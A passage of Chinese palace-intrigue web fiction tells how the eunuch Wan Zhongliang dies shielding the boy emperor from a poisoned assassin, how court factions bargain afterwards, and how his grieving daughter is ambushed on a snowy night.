毕竟想扳倒一些人,没梁嬷嬷这一个老妇的帮衬,那办不成的。 “一朝天子一朝臣。皇后娘娘待陛下缺了恭谨之心。”梁嬷嬷小声的讲道。 “当然,太后娘娘待陛下慈爱万分。只是太后娘娘倒底是皇后娘娘的嫡亲姑母。免不得,太后娘娘点拔了皇后娘娘时,重不得,轻不得。” 在梁嬷嬷的嘴里,李太后很好。小李皇后嘛,梁嬷嬷不多评价。 让梁嬷嬷说了小李皇后的好话,梁嬷嬷不会讲。 真是讲了,也会让人说一声假。 于是梁嬷嬷不评价小李皇后。可李太后那一边,梁嬷嬷讲了李太后的好。 小天子如何想? 小天子的心里,那还是想着父皇的一些点拔。 虽然先帝驾崩了。 可先帝给小天子留下来的策略里,也有中肯的。 有些话,先帝是让小天子保密,谁也不能讲。 可小天子的年岁太小,这不,在奶嬷嬷梁氏跟前,还是露了口风。 这些口风,一旦露了,那就成了金钟罩里的命门。 谁是命门? 梁嬷嬷一介宫人奴婢,她恨了太后皇后。可太后不倒,皇后便会无事。 想太后倒了,太难。可想拿后拿不住权柄,那有法子。 法子在哪? 在先帝的遗言里。梁嬷嬷记得,天子曾讲过的。 皇后的根,在天子,在太后。 天子不喜皇后,皇后的根脚,先去一大助力。 太后嘛? 太后的弱点明显,根基不扎实。 如今李太后的风光,那是建立在跟万内相的合作上。 堂堂皇太后需要跟一介天子家奴合作。说出去,落威风。 可现实就是如此。 那么,梁嬷嬷要办的事情很简单。她寻了合伙人。 寻的对象,最后是选择中了王国舅。 不为旁的,只因为梁嬷嬷太知道了王国舅在天子心头的位置。 王国舅开口,万内相,哼,也不过是一个万太监。 梁嬷嬷想干的事情很简单。拔了万太监这一颗钉子。 尔后,让李太后失了根基。 一介宫中妇人,一旦没了摇旗呐喊的。真关了宫廷内苑里。 皇太后的威风,没了皇权的加持。也过是一介老妇。 这是梁嬷嬷的想法吗? 至少,她是这么认为的。她想替闺女怜儿复仇。 皇宫,职房。 万忠良在歇息,瞧着他这宫廷内相的威风甚重。 可做为天子跟前的得意人,又得皇太后的器重。 万忠良是一个忙碌人。 “干爹。”一声唤,让万忠良醒来。 明明在屋里,也是准备写一写条例。如何一闭眼,就是小憩了片刻。 “进来。”万忠良被唤醒。此时,便是让干儿了进屋内。 “干爹,出事了。”干儿子很紧张的模样。 “说吧。”万忠良很镇定。 宫廷内外,哪时不出事。万忠良见怪不怪。 “干爹……”这干儿子的神情很紧张。 他压低了声音,凑了更近些。对万忠良说道:“泰和宫里,王国舅,梁嬷嬷等陛下亲近之辈说动了陛下。” “让陛下铲除奸臣贼子。”干儿子的目光游离不定。 “奸臣贼子,说谁?”万忠良平静的问道。 “王国舅说干爹您是朝中最大的奸逆。”干儿子忙回道。 “……”万忠良沉默了。 “陛下如何讲?”万忠良想知道天子的态度。 哪怕天子年岁小,那又如何?只要有人能挟制了天子。 这里面的门道,万忠良太清楚了。 万忠良也得着一些消息的,他忠诚的先帝,留了后手。 那些后手防的谁? 反正防一手的人里有万忠良,当然,也不止万忠良一人。 只是让万忠良想不到的,这些人想头一个干掉的。 居然会是他罢了。 不过,想不到,又或者不敢想。这些不重要了。 如今有人要动人。 万忠良就想问一问天子的态度如何。 “天子起先不应,后来,默许了。”干儿子的答案让万忠良想沉默都不能。 “天子不信咱。”万忠良觉得心凉。 “干爹,你赶紧出宫吧。”干儿子劝道。 “出宫?”万忠良轻轻摇头,他讲道:“咱不会出宫。” 出宫去哪?逃哪? 既然王国舅想杀人,天子也同意。万忠良这儿哪怕得了消息。 真想出宫? 来不及,可能,来得及又如何。 万忠良自己不想走。 “咱能信你不?”万忠良瞧着干儿子。问过,他又苦笑。 “你能来给咱递消息,咱是信你的。” 万忠良从怀中拿了一个小印。他递给干儿子。 “……”此时,万忠良的嘴里又讲了十个名字。 “这些人手,留给你。你往后能走到哪一步,全看你的本事。” “或许,这一场王国舅安排的戏,那是围杀。跟咱相干系的都得死。” 万忠良讲了这话时,他瞧着干儿子的神色。 干儿子的眼神一跳,眉眼间也是泛起狠色。 “干爹,那就搏一把。”干 儿子劝道。 “搏什么?”万忠良摇头。 “你,去传咱的话。”万忠良吐了一个名字。 “……”尔后,万忠良又吩咐几句。 “去吧,赶紧安排。”万忠良讲道:“往后,有太后的庇护,总归有后路,有前程。” “快去,莫耽搁时间。要不然的话,咱得死,你们也得跟着去地下了。”万忠良讲道。 “唯。”干儿子恭敬应一声,尔后,匆匆离开。 万忠良这会儿镇定下来。他坐于职房内,不过静静的等待罢了。 等着命运的审判,等着给大家伙唱一场他安排与导演的大戏。 “王国舅……”万忠良在心里感慨一回。 胆大,胆肥。 可惜二字,万忠良没讲出来。 万忠良太知道了,王国舅这等人物,这般不讲手段的办事。 王国舅注定没大好前途的。 原由太简单了,他想拿捏天子,他把天子当私物,王国舅想得太简单了。 “唉。”万忠良想着这些时,他的目光望向了宫外。 望眼浑江公主府的方向。 尔后,万忠良又望一眼东边。 这会儿万忠良不担忧自己,他担忧了妻女。 第88章 对于万珍珠而言,她的一日开心,便是瞧着自家好大儿安康的笑容开始。 “殿下,雪香等人进府来,想给您叩个头。”万嬷嬷在万珍珠陪着好大儿玩耍嬉戏时,向她禀了此话道。 “雪香她们啊……”万珍珠笑问道:“她们进府来,也是难得来一趟。想必也遇着喜事吧?” “我没记错,七日前,雪香她们进府过一趟。”万珍珠笑问道。 “殿下好记忆,雪香她们七日前是进府了一趟。”万嬷嬷笑道:“今个来府里磕头,也是谢恩的。这不,雪香她们都遇了喜。” “进府一趟,跟以前的好姐妹报一声喜,还散了一回糖。” 关于糖,在这一个世道里可是送礼的好物。 至于糖嘛,万珍珠建的商社,一直致力于多制糖的。 特别是去年,凭着亲爹的支持。 万珍珠名下的商社出海了一回,出海成功。 在外海还是寻着一座大岛,大岛什么不多,地多。 海外天暖雨水与温度皆合适了南边的特产甘蔗。 甘蔗,南边一直有此苗。 只是在这一个世道里,粮食为本。可对于万珍珠而言,寻着大岛,那能种甘蔗制糖。 自然更是上选。不为旁的,制糖挣钱,挣大钱。 这些年里,万珍珠薅羊毛,凭着亲爹帮衬。 甭管是收养孩童,又或者开办商社。这些都是风风火火,大干特干。 事情起头容易,想坚持下去很难。难在一处,钱财问题。 万珍珠与夫君赵济世不是坐拥金山银山。人活着,那就得花销。 特别是养了孩童。半大小子,吃穷老子。这可不是说说。 在小孩子的身上投入再多,万珍珠觉的值得。 可再是值得,投入就是投入。 在小孩儿没长大前,没能自力更生前,还得源源不断的投入。 万珍珠需要财源。想做好事,从来是需要资本的。 不是嘴皮子一碰,一切就能成功。 那么制糖,顺道嘛,如果大岛能种水稻,也是好事。 不过一切的前路,还待开拓。 如今嘛,万珍珠就是凭着商社在南来北往,东来西去,四处走商挣钱。 挣着大家伙的辛苦钱。要说投入,万珍珠也是投入颇多的。 那里面的人情往来,上下打点。这方方面面,凭的干系还是亲爹给的。 就这,应该打点的地方,万珍珠处处舍得。 如此,商社才是红红火火。 毕竟利益嘛,从来不是一人能挣进腰包的。 钱财,总归是大家伙一起搂了。 “快请雪香她们来。我得好好的沾一沾她们的喜气。”万珍珠笑道。 万嬷嬷差人去请雪香等人。 雪香等人,往前是万珍珠的丫鬟。往后,她们各有前程。 有人嫁了新唐侯府的亲信护卫,万珍珠放了身契,还给了嫁妆。 也有人嫁了府上的管事,夫妻都在府里当差做事。 总之,各有各的选择,各有各的前程。 万珍珠一样的法子,想出府的让出府,给了添妆。 想在府上里的,也是一样随意,同样是成婚的时候给了添妆。 如今雪香等人有喜了,万珍珠也开开心心的再给一回贺礼。 这不,这会儿万珍珠跟身边人吩咐几句。 她只差人去库房选了几样见面礼。算是万珍珠给雪香等的有喜贺礼。 等万嬷嬷领了雪香等人进正院来给万珍珠磕头谢恩时。 万珍珠笑道:“你们都是我的近前人,从前我最信任你们。如今也是一样的心情,只盼我好,你们大家伙也一样好。” “快快起来。”万珍珠笑道。 这会儿安康依偎在亲娘跟前,他的目光还是瞧着请安的雪香等人。 “谢殿下。” 雪香等人是万珍珠的陪嫁,如今谢恩时,也跟万嬷嬷一样的唤了万珍珠一声“殿下”。 关于万珍珠的身份。说实话,她的陪嫁们都是挺在意了这一个公主的身份。 倒是新唐侯府之外的人,许多人在淡化了万珍珠这一个浑江公府的身份。 甭管是燕京都的女眷圈子,还是大赵朝的皇家,一样的态度。都是在淡化了浑江公主这一个称号。 介于此,万珍珠沉默了。 “我已经是听万嬷嬷讲了,你们都遇着喜事。真是太好了。” 万珍珠开心的笑一回。 这会儿安康瞧着亲娘笑,他也笑。 于是雪香等人也是机灵的,这会儿都是一起的夸了小世子安康。 人人夸安康,倒是让万珍珠听着顺耳。至于小孩儿安康? 小孩儿虽小,可被人捧着,小孩儿也是陶陶然。 雪香等人这一日进府一趟。说是报一声喜,同时,也是得了万珍珠一份礼。 新唐侯府里,万珍珠不止关心了自家,也是在意了外面的一些消息。 “嬷嬷,明个,是不是到贞静公主安排的聚会日子?” 万珍珠问一问。 “殿下,就是明个。贞静公主会举办了赏花宴。” 万嬷嬷回道。 “贞静公主的赏花宴,可不能怠慢。”万珍珠慎重一回。 贞静公主的驸马是蓝诚。蓝诚一家受过万忠良的恩惠。 介于此,蓝诚一家待新唐侯府的态度从来是恭敬的很。 可蓝诚的身份不同了。万珍珠夫妻当然也得调整一番态度。 不说前拘后恭之类的遗笑大方。 至少应该给忠顺男的体面,那就得给到位。 谁让忠顺男蓝诚,那也是新贵。还是承顺帝要简拔的新贵。 甭管是依着皇家的权威,又或者是旧情犹在,自当更在的拉拢几分。 反正万珍珠在对待忠顺男一家人时,那态度也是变了几分。 万珍珠是不拘了什么恩人身份。她只当好友相待。 彼此之间,好友往来。 这一个“友”字,便是万珍珠与赵济世夫妻二人的态度。 “……”万珍珠这会儿捂了胸口。 “殿下,您怎么了?”万嬷嬷瞧着主子捂着胸口,额间似乎见汗了。这会儿的是万嬷嬷担忧的连忙问话。 “奴婢去请府医来。”万嬷嬷忙讲道。 “不必请府医。”万珍珠摆摆手。 许是亲娘的模样太吓人,安康也是吓得搂了亲娘的小腿。 小孩儿那小脸蛋儿上还是担忧之色。那大眼睛眨巴眨巴的显示了不安。 万珍珠这会儿说不上来,她就觉得胸口绞痛。 真的很痛。 大晋朝,镐京都,皇宫,泰和宫。 万忠良被请来了。一进殿,万忠良就向天子参拜大礼。 “万大伴免礼。”小天子瞧着万忠良的恭顺,他这会儿又迟疑了。 毕竟小天子是记 着父皇临终前的叮嘱。说万大伴可信任。 瞧着小天子的神情,梁嬷嬷低了头颅。 虽然梁嬷嬷办事,那是偶尔添几句馋言。可冲锋在前一事? 梁嬷嬷是不会干的。 梁嬷嬷不干的事情,王国舅会干。 打蛇不死,必遭反噬。这等道理王国舅太会了。 就此时,万忠良起身。 “陛下,奴才正有一事向您贺喜。”万忠良此刻满面笑容。 万忠良的态度,那是打断了王国舅想讲话。 因为天子来了兴趣,他想听一听万忠良的后续。 “万大伴,喜从何来?”小天子好奇的问道。 “奴才有一件祥瑞要献给陛下。”万忠良话罢。 他从袖中拿出一个锦盒,尔后,恭敬的呈到天子跟前。 “这是……”天子想问。 “请陛下鉴赏。”万忠良笑道。 就此时,在天子身边当差的小黄门凑上前。 “陛下,奴才替您打开匣子。” 小黄门的态度很热忱。万忠良瞒一眼,尔后,万忠良是神色一变。 “陛下,小心。”万忠良快步上前,侧身一拦。 在殿中诸人的惊呼里,小黄门从袖中抽了匕首。 刺驾? 这二字浮现于众人的脑海时,谁都给吓唬住了。 “大伴。”小天子惊呼一声。 小黄门刺驾,当然没成。毕竟被万忠良一挡,再是狠狠的一踢。 可小黄门的匕首嘛,还是冲势太大。自然是刺中了一个目标。 只是目标落在了万忠良的身上。 等小黄门起身,还想再行刺驾一事时。 殿中,自然护从上前,把小黄门狠狠的扣押住。 一场刺驾。闹一场祸事。 受伤的只有万忠良一人。至于小黄门?被押着后,那是牙一咬,尔后,嘴角流了黑血。人是当场没气儿了。 王国舅瞧着这等场景,他给气的快伤了。 小天子的目光落在万忠良的身上,他落泪了。 “大伴……”这一声大伴,小天子喊的真情实意。 谁好谁坏,生死面前,自然知晓。 在小天子的眼中,万大伴就是待他好的人。 小天子可知道的,万大伴替他父皇挡过刺驾。 如今又替他挡刺驾。 这等忠臣,不必怀疑。 “来人,传太医。”小天子着急的喊话道。 “陛下,奴才……”万忠良想说什么。 可他没能多说,因为万忠良的嘴角也是流了黑血。 显然,那刺驾的匕首上有毒,还是剧烈的毒。 可能是见血封喉,更可能是一击要人性命。 “陛下无恙,上苍庇佑……”万忠良说完这一句话,尔后,头一歪,当场没气了。 “……”小天子愣在当场。 梁嬷嬷瞧着这一切,这会儿的梁嬷嬷是飞快的瞧了一眼王国舅。 当初的王国舅跟梁嬷嬷暗中有勾兑。在王国舅的嘴里,万忠良是李太后来走狗。 可如今的一幕,让梁嬷嬷很怀疑了王国舅的说法。 梁嬷嬷忠于天子,她的荣辱全系于天子身上。 瞧着万忠良的忠诚,梁嬷嬷怀疑上了王国舅的险恶用心。 此时的小天子哭得凄凄惨惨。 梁嬷嬷在旁边陪着抹眼泪。只有王国舅在发话,指挥着诸人赶紧的查一查小黄门的背后有谁? 这会儿关于着刺驾的大事,王国舅需要与其它的顾命大臣一道商量一番。 这等大事,非同不可。 镐京都,皇宫,昭阳宫。 李太后瞧着宋三德,万忠良诸义子之首的一人。 “太后娘娘,义父救驾,光荣没了。”宋三德一得着消息,不忙旁的,赶紧去昭阳宫报信。 在李太后跟前,宋三德不干旁的,只是表达了一个意思。 他们这些义父的义子等人,那是没了靠山,心中凄惶。 此时这些万忠良的义子们,他们就想寻一个靠山。 这不,李太后就是大家伙想拜了码头的主子。 李太后对于送上门的势力与人手,她不拒绝。 因为对于万忠良的义子有谁? 李太后当然清楚的很。如果万忠良人没了,这些万忠良的义子们,李太后是当然想收拢起来的。 人手一多,势力一拢,李太后在宫廷内苑的根基会更稳,更扎实。 当着宋三德的面前,李太后做足姿态后,当然是安抚一番其人。 李太后想安抚的不止宋三德,而是宋三德代表的一系人。 得了李太后的安抚,宋三德是感激涕零。 只在离开了昭阳宫后。 宋三德出了昭阳宫的宫门,又是回望一眼。 宋三德的心中是叹息一声。 对于义父的选择,宋三德表示沉默。对于义父给他们挑的后路。 宋三德太懂。 因为李太后是最需要他们的一人。至于投靠天子? 天子的跟前不缺人,宋三德等人挤都挤不进去的。 唯太后这儿,那是缺着人手。或者说早前有万忠良的合作在。 李太后接手了,那也顺顺利利,不容易起波澜。 天子跟前真不缺人手? 宋三德也懂。 天子跟前,从来是不所车载斗量的人才。可惜,天子太年幼。 不是谁想凑上去,那就能成功的。 围着天子的是一个又一个的圈。想要突围进去,太难了。 如果干爹还在?宋三德想着这一个答案,又是一声叹息。 “干爹。”宋三德呢喃一声。 有些话,宋三德不能讲。可在心中,宋三德知道的,干爹冤啊。 昭阳宫,主殿内。 李太后这会儿在沉思,良久后,李太后才道:“哀家得去一趟泰和宫。” 这时候的李太后得做了慈爱的态度。她一个长辈,一定得去关心一番遇刺的天子。 在心头,李太后更在琢磨了,谁敢刺驾? 去泰和宫之前,李太后差人去传人。传谁? 当然是传了顾命大臣进宫。 天子安排的顾命大臣,给管是王国舅,还是简亲王。 这二位的权势,李太后都是容忍一二的。 大晋朝,镐京都,内城,浑江公主府。 牛二囡见着宫廷来人,又见着丈夫的尸身。 瞧着这一幕,牛二囡不敢相信。于是,她当场晕厥过去。 一时间,场面也是乱一阵。 等着牛二囡死来时,已经天黑。关于万忠良这一位内相的身后事宜。 自然有朝廷安排的内府官员操持。 这会儿的牛二囡听人禀话,方是知道。她家夫君得了天子恩封,追封为忠义侯。 堂堂忠义候封给一个太监。按说要掀起波澜,朝堂上一定不平静。 可这一回,朝堂上没起大波澜。因为万忠良死了。 人死了,自然容易搏一个美名。 特别是万忠良的死法,那是护驾。天子一命,重逾万钧。 救驾,封赏再高,臣子们也是不敢非议的。 一旦非议,那就是不够忠诚。 因为天子之性命太重,重的无法估量。至少这等道理,谁都要认。 这不,万忠良的忠义侯一出,人人只会赞,不会贬。 更何况,万忠良死了。 人死了 ,搏再多的美名也没用。特别是万忠良膝下无子。 这忠义侯也是流爵。就是表一表朝廷的态度罢了。 至于牛二囡得了忠义侯夫人的诰命? 这等诰命,牛二囡要来何用。她可是死了丈夫,没了枕边人。 “呜呜呜……”这会儿醒来了,牛二囡才能哭出来。 之前晕厥,那时候的牛二囡是遭不住,一时眼前晕了。 眼下,醒来了,面前惨淡的现实,牛二囡茫然。 往前,牛二囡也没自己拿过天大的主意。 说白了,牛二囡只拿小事的主意。遇着大事,她是听吩咐的一人。 夫君没了,女儿远在天边。牛二囡除了想着让夫君风风光光的离开外。 这身后事宜大操大办。旁的,牛二囡也不知道,或者说她拿不出主意来。 大晋朝,镐京都,皇宫,泰和宫。 小天子断了官司。倒是简亲王与王国舅,还有李太后坐镇。 关于刺驾一事,那是查了敢刺驾小黄门的方方面面。 结果查来查去,查到了王国舅的头上。 “国舅,此人是走你的门路进宫。国舅如何解释?”李太后的目光很冷。 太后问国舅要一个答案。王国舅也是懵圈。 明明前面进宫来,王国舅已经差人说通了天子信任的梁嬷嬷。 那要干掉万忠良的席位,让万忠良回家吃自己。 尔后,借此拿掉李太后的势力。 王国舅想在宫廷之内,那是对于天子跟前的势力嘛,一家独大。 王国舅没觉得自己有错,他可是天子的亲舅舅。 娘亲舅大,王国舅觉得他一颗忠心赤胆,忠贞不二。 哪里料想,如今有人泼脏水落他的身上。 偏生王国舅想喊冤枉,那是黑锅扣头顶,想挪开都难。 王国舅想扳开的万忠良,那是不扳也倒。人没了。 可万忠良人没了,那是顶着大大的“忠”字名头没的。 在天子这一个皇外甥的心里,怕是只念着万忠良的好。 于是非黑即白,天子年幼。王国舅得担忧一二。 谁在天子耳边吹一吹风,说是万忠良为忠。 想扳倒万忠良的王国舅,这忠心几何? 王国舅想一想,心头颤抖一下。 如今李太后一发难,万国舅想反驳的。他道:“这一小黄门跟我没关系。” “我乃堂堂国舅,岂会谋害陛下。”王国舅拿自己身份说事。 简亲王打从入宫后,那就是沉默居多。他不多言,只是静观事态。 李太后的目光在此时落于简亲王的身上。 在李太后的心里,今个的事情既然攀咬上了王国舅。 那么,王国舅不脱一层皮,那就别想脱身。 宫廷内苑,从来是皇家女人的事情。王国舅想掺合? 李太后是不允许的。 宫廷内苑的宫权,李太后盯得紧。 至于梁嬷嬷嘛,李太后不着急。或者说,梁嬷嬷的金身沾了污点,已经破了金身。 那么,往后有的是机会。如今,李太后想先刮一刮王国舅的油水。 李太后的做法,简亲王不明言,可也是默默支持的。 朝堂上,简亲王也想进一步,成为顾命大臣之首。 让王国舅识趣的退一步嘛,简亲王早想干了。 如今的王国舅遇着事情,于是,甭管想不想,总要交换一二利益的。 名利场,打打杀杀也罢,阴谋阳谋也罢,说来说去,尽为利益。 站于上层,立于巅峰,甭管是李太后也罢,简亲王也罢,又或是王国舅。他们是可以妥协的。 因为妥协与平衡,不过是为了维系天子亲政之前的均态平衡。 这是一种默契,在彼此可以容忍的范围内。 大家伙一起攫取利益。 至于谁多吃几口,谁少吃几口,就是各凭本事,各显神通。 大赵朝,燕京都,皇宫,凤仪宫。 孔皇后见了娘家人,这一回,又是留了六妹妹小住一二日。 于是镐京都来了新消息时,孔六姑娘知道的一点不晚。 相反,孔六姑娘知道了新消息时,还比大部分的人更早。 “大晋变局,总管太监救驾身亡。”孔六姑娘跟亲姐姐议一议事时。 她讲道:“姐姐,大晋朝的总管太监,那一位被封了忠义侯的侯爷,我记着,他好像是新唐侯夫人的生父?” “你没记错。新唐侯夫人的生父便是大晋的忠义侯。新唐侯夫人还有大晋的封号,即浑江公主。” 孔皇后跟六妹妹讲道。 “浑江公主,新唐侯,忠义侯,有趣,有趣。”孔六姑娘呢喃一回。 这会儿孔六姑娘想着一事,她讲道:“要说起来,诸位勋贵显戚,除了贞静公主的驸马爷年纪轻轻立有战功。旁的勋贵,还余了新唐侯一人丰华正茂,年青气盛。” “……”孔皇后听着妹妹的话,也是捂嘴一回。 这会儿一想,孔皇后一琢磨还真是如此。 大赵朝诸勋贵,哪一家的爵爷嘛,除了新唐侯与忠顺国二人年青外,旁的全是老头子。 “你是这做甚?”孔皇后问妹妹道。 “恰逢其会,听姐姐说了大晋的变局。这不,我就是恰巧的想起来。”孔六姑娘讲道。 至于是不是真的巧合,唯孔六姑娘自知。 讲这话时,孔六姑娘心头清楚,这一点不巧合的。 她嘛,有一点故意的成份。 第89章 万珍珠得着贞静公主的请贴。这是聚会后的又一次相请。 贞静公主要去上香,请万珍珠一道去祈福。 对此,万珍珠不拒绝。 当然,此事万珍珠已跟枕边人商量过。赵济世的态度一样是支持。 “多去走走,也是好事。”赵济世笑道:“到时候我休沐了,我再去寺里接你们母子一道回府。” “瞧瞧近日,珍珠妹妹也是受累了。”赵济世感慨一回近日的忙碌。 忙碌的不是旁事,就是商社诸事的盘帐。 妻子忙碌,赵济世全是瞧在眼中的。毕竟府上的财务良好。 赵济世各方结好关系,那些花销可是府上消的帐。 银钱往来,自己花销多大,赵济世心头岂能没数? 就是太有数,赵济世很感激了一直支持他的枕边人。 “好。”万珍珠也是盼着去走一走,不止为了祈福。 “我还想给自家人点了长明灯。”万珍珠不止要给枕边人和好大儿点了长明灯。 远在镐京都的爹娘和自个,万珍珠一直点了长明灯。 漫天神佛,上苍大地。 万珍珠是信的,至少有亿点点的相信。谁让她是重生的。 多活两辈子,要是不相信一些什么,万珍珠怕自己遭不住。 于是在一个晴日里,万珍珠带着好大儿和贞静公主一起去了燕京都郊外的白马寺。 白马寺,香火鼎盛。 来这一个趟,万珍珠陪着贞静公主一起吃一吃素斋。再是听一听诵经。 为论旁的,只心境嘛,万珍珠就觉得增涨不少。 至于小孩儿安康,这孩子瞧着寺里的高僧练武。 安康那是双眼都亮了。 可谓是一对母子,各在寺里寻着在意的地方。 燕京都,内城,新唐侯府。 赵济世在妻儿离开后,自己歇一晚,他突然发现有一点寂寞。 没了孩子熟悉的笑声,没了妻子的温馨叮嘱。 一切一切,恍然陌生。 这会儿的家,缺了那一些在意的人。总归少了一份温馨感。 次日。 赵济世收到了消息,来自镐京都的消息。 “岳丈大人……”赵济世嘴里呢喃一回。 唤一声岳丈,赵济世的心头有一份悲凉。 明明当初离开镐京都时,岳丈身体很好。瞧着是长寿之相。 哪料想,到底一别,再不能见。 “救驾,忠义侯……”赵济世又呢喃几字。 对于大晋天子给的荣耀,赵济世一点不在意。 “唉,也不知珍珠妹妹知了消息,那得何等悲伤。” 这时候的赵济世心头有了打算。 赵济世准备去宽慰妻子。于是他跟衙门告一回假。 赵济世快马加鞭去了一趟白马寺。 新唐侯离开燕京都,有人关注了,有人不在意。 白马寺。 万珍珠陪着贞静公主又是听完诵经后。二人漫步赏景。 “浑江姐姐,也爱听了佛里故事,沾了佛心佛境?”贞静公主问了万珍珠话道。 “贞静妹妹说笑了。”万珍珠瞧着贞静公主一直唤她的封号。 于是,二人这般相处的,算是不远不远的“朋友”。 “我哪里有多少佛性,不过是瞧着妹妹喜欢。我便是也学习一二。当是多涨几分智慧。” 万珍珠对于佛道之流,从来是流于表面。 她本来就不是什么爱钻研之辈。碰上哪一个寺庙,她都拜一拜。 漫天神佛也罢,上苍大地也罢,只要觉得有用,拜一拜不吃亏嘛。 二人在说说笑笑时。 万珍珠这儿有丫鬟来禀话。万珍珠一听,夫君来了。 万珍珠挺惊讶的。 “浑江姐姐跟姐夫的感情真好。”贞静公主感慨一回。 “我与驸马的感情,若将来有姐姐与姐夫的一半,我就心满意足了。”贞静公主的态度跟万珍珠一样。 二人都想做“朋友”,这往来之时,便是依了朋友之谊。 或者说贞静公主也在适应,适应了蓝诚这一位忠顺男妻子的角色。 “浑江姐姐快去见一见姐夫吧。莫耽搁了时间。”贞静公主捂嘴笑一回。 “我这儿,还再赏景一番,就不去打扰了姐姐与姐夫的相聚。” 贞静公主笑得欢喜。 万珍珠嗔怪的说几句打趣话,尔后,匆匆离开。 瞧着万珍 珠离开的背影。贞静公主跟身边的心腹宫人讲道:“本宫不是说什么虚假话。本宫是真羡慕了浑江姐姐与姐夫的感情。他们成婚这般久,还是这般恩爱,真好。” “殿下与驸马的感情,将来也一定是情比金坚。”宫人忙是回道。 听着宫人这话,贞静公主静静不语。 白马寺的客院里,万珍珠见着了丈夫。同时,还瞧见了万嬷嬷哄了儿子安康一道归来。 “爹,娘。”一进院里,安康就是喊了爹娘。 于是小跑着,他往爹娘跟前凑。 凑进了,还是一手拉了亲爹,一手拉了亲娘。 瞧着小孩儿的亲腻,万珍珠心里开开心心。 万珍珠还跟万嬷嬷问一问,小孩儿安康今个学一学武僧的把式。那是学得如何? 小孩儿哪懂什么,不过是闹腾一番,瞧一瞧热闹。 可这等热闹,就是让安康尽瞧不够的模样。 “这孩子爱看练武,瞧着,将来一定是将门种子的好胚子。”万珍珠对夫君讲道。 “我儿随爹,天子的练武好料子。”赵济世也是抱起孩儿到怀中,哄一哄自家的好大儿。 这会儿岁月静好。一时间,赵济世都不忍心泼甚的冷水。 只是事情摆那儿,总归早早晚晚,真相就是真相。 奈何如果可能的话,赵济世还是想晚一点揭开了真相。 于是赵济世当了一个好爹好丈夫,哄一哄自家的好大儿。 当天,哄得好大儿入睡后。 赵济世又是陪着妻子在屋中谈心。夫妻二人谈心,自然没有旁人在。 赵济世讲道:“我接着镐京都的消息。” “镐京都来消息了,可是有家书寄来?”万珍珠笑问道。 此时的赵济世脸上没有笑容,而是一幅严肃的神情。 “珍珠妹妹,镐京都出事了。”赵济世揽了妻子入怀。 “岳丈大人救驾有功,被大晋天子追封忠义侯。” 赵济世这话一出。 万珍珠的心口凉凉的,那一等的凉意就像是从灵魂里吹出来的。 万珍珠感受到了胸口的痛楚,痛的让她无法发出声音一般。 “……”良久后,万珍珠问道:“济世哥哥,我没听错,你说什么?” “我爹被追封忠义侯……”在追封二字上,万珍珠说得带了一点的颤音。 追封用在哪?只会用了死人的身上。 万珍珠不傻,就是说这些字眼时,她才会遭不住。 “珍珠妹妹,你若是心里太难受,就哭出来。”赵济世替枕边人抚了背,顺一顺气。 “……”哭出来吗?万珍珠心想,哭是解决不了问题的。 心里这般想,没哭出声。可万珍珠泪水还是顺着眼角落。 无声的哭泣。万珍珠这会儿不知道为何哭,只知道心里像是缺了一块一般样子。 那一种痛楚,钝钝的,就像是怎么填,那都是填不满缺了那一块。 万珍珠搂紧了枕边人的腰。她把脸埋在对方的怀里。 赵济世感受到了,胸口湿了一块。 赵济世没讲话,他只是揽紧了怀中人。他想这般的安慰一下妻子。 这一晚,万珍珠哭肿了眼睛。 “我要在白马寺替爹爹主持一场法事。”万珍珠说了她的打算。 “全依你。”赵济世同意了。 “我要回镐京都,去迎了爹爹的棺椁。爹爹得葬在燕京都。往后,我才能年年去祭拜。” 万珍珠又说出她的要求,她又道:“我想去亲迎了爹爹,让人知道,他有后人祭祀血食。” “娘那儿,没我陪同,我怕娘未必敢一个人来了燕京都。娘的胆儿,从来很小。”万珍珠清楚亲娘的禀性。 被人吓一吓,她就可能改变主意的。 亲娘的主见不大,那又如何?那是她的生身母亲。 万珍珠要奉养了亲娘的下半辈子。她已经没了爹,她不能没了娘。 “……”赵济世沉默了。 “安康还小。”赵济世劝道:“此去太远了。” “你们母子分享,我不忍心。”赵济世劝道:“要不,还是我去吧。我跟陛下告了假,我去迎了岳父的棺椁。” “……”万珍珠沉默。 “燕京都里,尽是大事。”万珍珠握一握丈夫的手。 “我一介女子,我离开,无关轻重。济世哥哥,你离开,怕是难。” 万珍珠心头太有数。如今的燕京都,也是大事小事很多的。 特别是枕边人如今的位置,一旦回了权利中心的燕京都。 真是退一步容易,进一步很难。想保持如今的高位,那就得步步为营。 万珍珠不想为难了枕边人。于是,她为难了自己。 远去几千里,万珍珠心头愿意。 千金万金,只为她愿意。她就想迎了亲爹最后一程。 同时,也是请了亲娘来燕京都奉养。 赵济世还想劝,可万珍珠拿定了主意。 “我会留了万嬷嬷等人。她们是我的心腹。同时,也是一直照顾了安康的旧人。” 至于领了自家的好大儿去迎一迎外祖父? 那不可能。 小孩儿太小了。出不得远门。 何况,有小孩儿在,枕边人这一个当爹的就得多顾家几分。 在心里,万珍珠更清楚。她要去一趟镐京都。 那是因为她太清楚。 她不去,亲娘那儿,唉,许是会被人说动了留在镐京都。 那样的话,母女分离。爹爹又不在,亲娘会很寂寥的。 次日。 万珍珠留于白马寺。她要给亲爹做一场法事。 因着等回了新唐侯府,万珍珠就会母子分离。 于是这赵济世离开时,他告假了一日。今个,还要赶回燕京都上差。 赵济世这儿挺忙碌。万珍珠这儿,她抱着好大儿给长辈做法事。 在心头,万珍珠心里凉凉的。 贞静公主也是从下面人口中听着一二事情。 于是安慰一番万珍珠。 对于贞静公主的美意。万珍珠感激一二。 感激归感激,这时候的万珍珠心情很坏。或者说心态凉凉的。 那一等冷意,浸在骨子里。 看世间万事,万珍珠就像是隔了一层纱一般样子。 贞静公主瞧着这般模样的万珍珠,也就不多打扰。 伤心时,可能更需要冷静,而不是别人的同情心。 一场法事后,万珍珠坐着马车,带着好大儿准备回燕京都的侯府。 途中,遇了一场雪。 于是半道而止,借住于一户农家。 夜,天冷。 万珍珠搂着自家的孩儿一起入睡。 就是最冷时,万珍珠听着外面的喊声。 “走水了。” “……” 万珍珠抱起了好大儿,往屋外去。 等着一出屋门,万珍珠瞧着外面乱哄哄的。 有厮杀声响起。 万珍珠是会几手武功的。虽然,不是那么的高超。 至少在几支冷箭射来时,她是抱着好大儿躲开了要命的一支。 至于其余的暗箭,被护卫的侍从们给阻击掉了。 至于万珍珠如何躲开了致命的一击,说起来,有一些狼狈。 万珍 珠在地上滚了一回。姿态狼狈,效果还成。 “哇哇哇……” 